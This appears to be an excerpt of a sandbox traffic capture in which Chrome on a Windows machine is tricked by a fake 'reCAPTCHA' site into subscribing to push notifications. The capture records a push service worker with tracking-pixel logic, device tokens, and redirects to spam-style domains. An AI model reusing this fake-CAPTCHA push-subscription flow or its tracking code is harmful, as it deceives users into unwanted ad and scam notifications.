2e 70 69 78 65 6c 3b 0a 20 20 20 20 76 61 72 20 67 65 74 54 72 61 63 6b 69 6e 67 50 69 78 65 6c 50 Data Ascii: /* * v. 1.0.5 */'use strict';self.addEventListener('push', (event) => { var push = JSON.parse(event.data.text()); if (push.data.hasOwnProperty('pixel') && validURL(push.data.pixel)) { var pixelUrl = push.data.pixel; var getTrackingPixelP
2024-10-03 15:18:18 UTC	1369	IN	Data Raw: 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 7d 0a 0a 20 20 76 61 72 20 74 69 74 6c 65 20 3d 20 70 75 73 68 2e 64 61 74 61 2e 74 69 74 6c 65 3b 0a 0a 20 20 76 61 72 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 20 20 20 20 62 6f 64 79 3a 20 70 75 73 68 2e 64 61 74 61 2e 62 6f 64 79 2c 0a 20 20 20 20 69 63 6f 6e 3a 20 70 75 73 68 2e 64 61 74 61 2e 69 63 6f 6e 2c 0a 20 20 20 20 62 61 64 67 65 3a 20 70 75 73 68 2e 64 61 74 61 2e 62 61 64 67 65 2c 0a 20 20 20 20 64 61 74 61 3a 20 7b 0a 20 20 20 20 20 20 63 6c 69 63 6b 5f 61 63 74 69 6f 6e 3a 20 70 75 73 68 2e 64 61 74 61 2e 63 6c 69 63 6b 5f 61 63 74 69 6f 6e 2c 0a 20 20 20 20 7d 2c 0a 20 20 20 20 69 6d 61 67 65 3a 20 70 75 73 68 2e 64 61 74 61 2e 61 74 74 61 63 68 6d 65 6e Data Ascii: { return; } var title = push.data.title; var notificationOptions = { body: push.data.body, icon: push.data.icon, badge: push.data.badge, data: { click_action: push.data.click_action, }, image: push.data.attachmen
2024-10-03 15:18:18 UTC	332	IN	Data Raw: 72 69 6e 67 28 29 3b 0a 20 20 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 76 61 6c 69 64 55 52 4c 28 75 72 6c 29 20 7b 0a 20 20 76 61 72 20 70 61 74 74 65 72 6e 20 3d 20 6e 65 77 20 52 65 67 45 78 70 28 27 5e 28 68 74 74 70 73 3f 3a 5c 5c 2f 5c 5c 2f 29 3f 27 20 2b 0a 20 20 20 20 27 28 28 28 5b 61 2d 7a 5c 5c 64 5d 28 5b 61 2d 7a 5c 5c 64 2d 5d 2a 5b 61 2d 7a 5c 5c 64 5d 29 2a 29 5c 5c 2e 29 2b 5b 61 2d 7a 5d 7b 32 2c 7d 7c 27 20 2b 0a 20 20 20 20 27 28 28 5c 5c 64 7b 31 2c 33 7d 5c 5c 2e 29 7b 33 7d 5c 5c 64 7b 31 2c 33 7d 29 29 27 20 2b 0a 20 20 20 20 27 28 5c 5c 3a 5c 5c 64 2b 29 3f 28 5c 5c 2f 5b 2d 61 2d 7a 5c 5c 64 25 5f 2e 7e 2b 5d 2a 29 2a 27 20 2b 0a 20 20 20 20 27 28 5c 5c 3f 5b 3b 26 61 2d 7a 5c 5c 64 25 5f Data Ascii: ring(); return target;}function validURL(url) { var pattern = new RegExp('^(https?:\\/\\/)?' + '((([a-z\\d]([a-z\\d-][a-z\\d]))\\.)+[a-z]{2,}\|' + '((\\d{1,3}\\.){3}\\d{1,3}))' + '(\\:\\d+)?(\\/[-a-z\\d%_.~+])' + '(\\?[;&a-z\\d%_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49723	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yVxFCdyegYPdutC&MD=5BdTG2r4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-03 15:18:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 80d687e0-e369-4208-8a13-1d7113eddfdb MS-RequestId: ae7f76f3-9584-4c27-b9a9-a88b819714af MS-CV: gTel/g6xu0io7cG1.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 03 Oct 2024 15:18:18 GMT Connection: close Content-Length: 24490
2024-10-03 15:18:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-03 15:18:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49732	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:29 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-03 15:18:29 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=5201 Date: Thu, 03 Oct 2024 15:18:29 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49733	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-03 15:18:30 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25948 Date: Thu, 03 Oct 2024 15:18:30 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-03 15:18:30 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49734	142.250.186.174	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:31 UTC	406	OUT	POST /checkin HTTP/1.1 Host: android.clients.google.com Connection: keep-alive Content-Length: 86 Content-Type: application/x-protobuf Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:31 UTC	86	OUT	Data Raw: 10 00 1a 2a 31 2d 64 61 33 39 61 33 65 65 35 65 36 62 34 62 30 64 33 32 35 35 62 66 65 66 39 35 36 30 31 38 39 30 61 66 64 38 30 37 30 39 22 18 60 03 6a 14 08 01 12 0e 31 31 37 2e 30 2e 35 39 33 38 2e 31 34 39 18 01 69 00 00 00 00 00 00 00 00 70 03 b0 01 00 Data Ascii: *1-da39a3ee5e6b4b0d3255bfef95601890afd80709"`j117.0.5938.149ip
2024-10-03 15:18:31 UTC	1016	IN	HTTP/1.1 200 OK Content-Type: application/x-protobuffer Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 03 Oct 2024 15:18:31 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /checkin/_/AndroidCheckinHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 15:18:31 UTC	374	IN	Data Raw: 31 66 30 0d 0a 08 01 18 84 a9 d8 97 a5 32 2a 21 0a 0a 61 6e 64 72 6f 69 64 5f 69 64 12 13 35 34 33 35 35 30 32 36 30 34 30 37 33 36 36 38 34 39 35 2a 12 0a 0d 63 68 72 6f 6d 65 5f 64 65 76 69 63 65 12 01 31 2a 14 0a 0e 64 65 76 69 63 65 5f 63 6f 75 6e 74 72 79 12 02 75 73 2a 29 0a 18 64 65 76 69 63 65 5f 72 65 67 69 73 74 72 61 74 69 6f 6e 5f 74 69 6d 65 12 0d 31 37 32 37 39 36 37 36 30 30 30 30 30 39 8f 8f 85 e3 d1 c8 6e 4b 41 21 9e ec c1 9a fb 05 09 48 00 5a 1f 34 78 59 55 52 69 53 71 61 72 67 65 51 45 62 31 61 42 4a 36 58 68 77 79 53 47 45 76 4a 52 6b 62 b7 02 41 42 46 45 74 31 58 48 68 77 49 70 6b 38 54 6f 79 47 67 67 34 73 35 79 43 35 46 45 4a 39 46 38 52 79 52 72 4c 48 46 68 7a 65 6f 39 43 5a 48 4e 44 37 30 46 4d 45 75 6f 63 4e 58 43 31 32 69 41 69 Data Ascii: 1f02!android_id5435502604073668495chrome_device1device_countryus)device_registration_time17279676000009nKA!HZ4xYURiSqargeQEb1aBJ6XhwySGEvJRkbABFEt1XHhwIpk8ToyGgg4s5yC5FEJ9F8RyRrLHFhzeo9CZHND70FMEuocNXC12iAi
2024-10-03 15:18:31 UTC	129	IN	Data Raw: 6b 55 57 6a 77 38 36 76 35 6b 52 52 6c 4a 5f 51 5a 76 48 6b 55 59 4a 5f 31 4b 38 63 72 43 4e 7a 4d 36 78 4f 33 6c 44 37 35 54 43 4b 79 36 30 32 4c 78 63 36 6e 67 6d 61 6a 38 79 71 66 69 4e 34 52 71 6d 35 68 4c 4c 63 73 70 6b 49 6f 38 43 6b 31 37 44 33 64 65 49 63 48 6a 56 79 62 73 65 71 4e 5f 7a 33 5f 5f 49 37 4c 70 43 79 2d 63 31 73 6d 38 31 75 39 46 62 70 6e 55 61 59 7a 79 6f 0d 0a Data Ascii: kUWjw86v5kRRlJ_QZvHkUYJ_1K8crCNzM6xO3lD75TCKy602Lxc6ngmaj8yqfiN4Rqm5hLLcspkIo8Ck17D3deIcHjVybseqN_z3__I7LpCy-c1sm81u9FbpnUaYzyo
2024-10-03 15:18:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49736	142.250.186.174	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:32 UTC	488	OUT	POST /c2dm/register3 HTTP/1.1 Host: android.clients.google.com Connection: keep-alive Content-Length: 73 Authorization: AidLogin 5435502604073668495:650202363321949729 Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:32 UTC	73	OUT	Data Raw: 61 70 70 3d 63 6f 6d 2e 67 6f 6f 67 6c 65 2e 61 6e 64 72 6f 69 64 2e 67 6d 73 26 64 65 76 69 63 65 3d 35 34 33 35 35 30 32 36 30 34 30 37 33 36 36 38 34 39 35 26 73 65 6e 64 65 72 3d 37 34 35 34 37 36 31 37 37 36 32 39 Data Ascii: app=com.google.android.gms&device=5435502604073668495&sender=745476177629
2024-10-03 15:18:33 UTC	492	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 15:18:32 GMT Expires: Thu, 03 Oct 2024 15:18:32 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 15:18:33 UTC	31	IN	Data Raw: 31 39 0d 0a 45 72 72 6f 72 3d 44 45 50 52 45 43 41 54 45 44 5f 45 4e 44 50 4f 49 4e 54 0d 0a Data Ascii: 19Error=DEPRECATED_ENDPOINT
2024-10-03 15:18:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49735	142.250.186.174	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:32 UTC	489	OUT	POST /c2dm/register3 HTTP/1.1 Host: android.clients.google.com Connection: keep-alive Content-Length: 282 Authorization: AidLogin 5435502604073668495:650202363321949729 Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:32 UTC	282	OUT	Data Raw: 61 70 70 3d 63 6f 6d 2e 63 68 72 6f 6d 65 2e 77 69 6e 64 6f 77 73 26 58 2d 73 75 62 74 79 70 65 3d 77 70 3a 68 74 74 70 73 3a 2f 2f 72 65 2d 63 61 70 74 68 61 2d 76 65 72 73 69 6f 6e 2d 34 2d 32 31 2e 62 75 7a 7a 2f 25 32 33 45 38 33 46 31 45 37 41 2d 37 30 43 30 2d 34 30 46 46 2d 41 46 32 34 2d 32 46 37 32 41 38 41 46 36 2d 56 32 26 64 65 76 69 63 65 3d 35 34 33 35 35 30 32 36 30 34 30 37 33 36 36 38 34 39 35 26 73 63 6f 70 65 3d 47 43 4d 26 58 2d 73 63 6f 70 65 3d 47 43 4d 26 67 6d 73 76 3d 31 31 37 26 61 70 70 69 64 3d 65 63 6d 72 44 46 50 78 61 65 77 26 73 65 6e 64 65 72 3d 42 44 4f 55 39 39 2d 68 36 37 48 63 41 36 4a 65 46 58 48 62 53 4e 4d 75 37 65 32 79 4e 4e 75 33 52 7a 6f 4d 6a 38 54 4d 34 57 38 38 6a 49 54 66 71 37 5a 6d 50 76 49 4d 31 49 76 2d Data Ascii: app=com.chrome.windows&X-subtype=wp:https://re-captha-version-4-21.buzz/%23E83F1E7A-70C0-40FF-AF24-2F72A8AF6-V2&device=5435502604073668495&scope=GCM&X-scope=GCM&gmsv=117&appid=ecmrDFPxaew&sender=BDOU99-h67HcA6JeFXHbSNMu7e2yNNu3RzoMj8TM4W88jITfq7ZmPvIM1Iv-
2024-10-03 15:18:34 UTC	477	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 15:18:34 GMT Expires: Thu, 03 Oct 2024 15:18:34 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 15:18:34 UTC	164	IN	Data Raw: 39 65 0d 0a 74 6f 6b 65 6e 3d 65 63 6d 72 44 46 50 78 61 65 77 3a 41 50 41 39 31 62 46 64 65 35 52 79 5f 6b 43 59 39 77 47 7a 44 33 6a 52 54 4f 51 30 41 65 4f 62 41 6e 50 36 57 43 69 31 66 31 50 46 4e 63 38 68 4a 52 69 51 71 32 33 37 4c 31 37 54 67 6e 4e 43 46 73 6d 33 50 39 6e 69 52 77 64 38 6b 48 76 38 36 4a 57 51 68 55 52 42 67 2d 38 53 74 38 59 34 6e 71 39 4f 39 4c 54 52 32 32 41 71 2d 78 33 7a 39 5a 31 31 41 42 74 35 56 77 53 32 75 7a 38 37 58 5f 4f 38 41 42 30 62 68 57 4f 38 0d 0a Data Ascii: 9etoken=ecmrDFPxaew:APA91bFde5Ry_kCY9wGzD3jRTOQ0AeObAnP6WCi1f1PFNc8hJRiQq237L17TgnNCFsm3P9niRwd8kHv86JWQhURBg-8St8Y4nq9O9LTR22Aq-x3z9Z11ABt5VwS2uz87X_O8AB0bhWO8
2024-10-03 15:18:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49739	142.250.186.174	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:34 UTC	488	OUT	POST /c2dm/register3 HTTP/1.1 Host: android.clients.google.com Connection: keep-alive Content-Length: 73 Authorization: AidLogin 5435502604073668495:650202363321949729 Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:34 UTC	73	OUT	Data Raw: 61 70 70 3d 63 6f 6d 2e 67 6f 6f 67 6c 65 2e 61 6e 64 72 6f 69 64 2e 67 6d 73 26 64 65 76 69 63 65 3d 35 34 33 35 35 30 32 36 30 34 30 37 33 36 36 38 34 39 35 26 73 65 6e 64 65 72 3d 37 34 35 34 37 36 31 37 37 36 32 39 Data Ascii: app=com.google.android.gms&device=5435502604073668495&sender=745476177629
2024-10-03 15:18:35 UTC	492	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 15:18:35 GMT Expires: Thu, 03 Oct 2024 15:18:35 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 15:18:35 UTC	31	IN	Data Raw: 31 39 0d 0a 45 72 72 6f 72 3d 44 45 50 52 45 43 41 54 45 44 5f 45 4e 44 50 4f 49 4e 54 0d 0a Data Ascii: 19Error=DEPRECATED_ENDPOINT
2024-10-03 15:18:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49746	136.243.216.232	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:40 UTC	1161	OUT	GET /api2/subscribeGet?data=eyJjIjoiN2YwOWJiNjItYjc2MC00NWNlLTlmZGEtYzIxNTViMzYxOTY2IiwiYSI6ImwxNTM2OSIsInRva2VuIjoiZDRUTW80T0x0NWRselQ0ZTktcUFQbzpBUEE5MWJIZkR6TWlUQTlzWkh2emFkdkZTUS1OWXJ2bEZaYS1od1UyTk5KZHFmZ0ZIdjJXWTlVVmRhT3hxNzJ1ci1QMks1ZzhkUVM5UVYzYkZ2R3RLR08wTVFKSzBrcGZrV1UxcWdWU0ZpRHNFWktaVXZWcXVSRUUwUVY5MWhad3ZQeTkwa0FBbjhGVyIsIm1lc3NhZ2VTZW5kZXJJZCI6MTEyMjg3MTQ2NjczLCJjbGlja0lkIjoiN2YwOWJiNjItYjc2MC00NWNlLTlmZGEtYzIxNTViMzYxOTY2IiwiYWZmaWxpYXRlSWQiOiJsMTUzNjkiLCJzdWJzY3JpYmVNZXRob2QiOiJkb2ciLCJ2ZXJ0aWNhbCI6ImJ1eW91dCIsInNlIjoxLCJzY3J3IjoxMjgwLCJzY3JoIjoxMDI0LCJsbmciOiJlbiIsImZwIjowfQ== HTTP/1.1 Host: pushbizapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://re-captha-version-4-21.buzz Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://re-captha-version-4-21.buzz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:40 UTC	416	IN	HTTP/1.1 200 added Server: nginx Date: Thu, 03 Oct 2024 15:18:40 GMT Content-Length: 0 Connection: close Cache-Control: private X-AspNetMvc-Version: 5.2 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Cache-Control: max-age=0, no-cache, no-store, must-revalidate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49747	136.243.216.232	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:41 UTC	933	OUT	GET /api2/subscribeGet?data=eyJjIjoiN2YwOWJiNjItYjc2MC00NWNlLTlmZGEtYzIxNTViMzYxOTY2IiwiYSI6ImwxNTM2OSIsInRva2VuIjoiZDRUTW80T0x0NWRselQ0ZTktcUFQbzpBUEE5MWJIZkR6TWlUQTlzWkh2emFkdkZTUS1OWXJ2bEZaYS1od1UyTk5KZHFmZ0ZIdjJXWTlVVmRhT3hxNzJ1ci1QMks1ZzhkUVM5UVYzYkZ2R3RLR08wTVFKSzBrcGZrV1UxcWdWU0ZpRHNFWktaVXZWcXVSRUUwUVY5MWhad3ZQeTkwa0FBbjhGVyIsIm1lc3NhZ2VTZW5kZXJJZCI6MTEyMjg3MTQ2NjczLCJjbGlja0lkIjoiN2YwOWJiNjItYjc2MC00NWNlLTlmZGEtYzIxNTViMzYxOTY2IiwiYWZmaWxpYXRlSWQiOiJsMTUzNjkiLCJzdWJzY3JpYmVNZXRob2QiOiJkb2ciLCJ2ZXJ0aWNhbCI6ImJ1eW91dCIsInNlIjoxLCJzY3J3IjoxMjgwLCJzY3JoIjoxMDI0LCJsbmciOiJlbiIsImZwIjowfQ== HTTP/1.1 Host: pushbizapi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:42 UTC	416	IN	HTTP/1.1 200 added Server: nginx Date: Thu, 03 Oct 2024 15:18:41 GMT Content-Length: 0 Connection: close Cache-Control: private X-AspNetMvc-Version: 5.2 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Cache-Control: max-age=0, no-cache, no-store, must-revalidate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49748	18.156.16.189	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:41 UTC	754	OUT	GET /vw92awy?m=1&t=pshtbnewlink1208_redirectUrl_body HTTP/1.1 Host: k8cpmrdof.thebigbonusleader.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://re-captha-version-4-21.buzz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:42 UTC	399	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 03 Oct 2024 15:18:41 GMT Content-Type: text/html Content-Length: 63806 Connection: close cache-control: private set-cookie: sid=t6~gsmkraetmfbssfnztncro0il; path=/ set-cookie: sid=t6~gsmkraetmfbssfnztncro0il; path=/ set-cookie: p1=https://molhajane.live/iltnvcec/; path=/ set-cookie: s1=j2nhn2snczp7wtz3; path=/ Cache-Control: no-transform
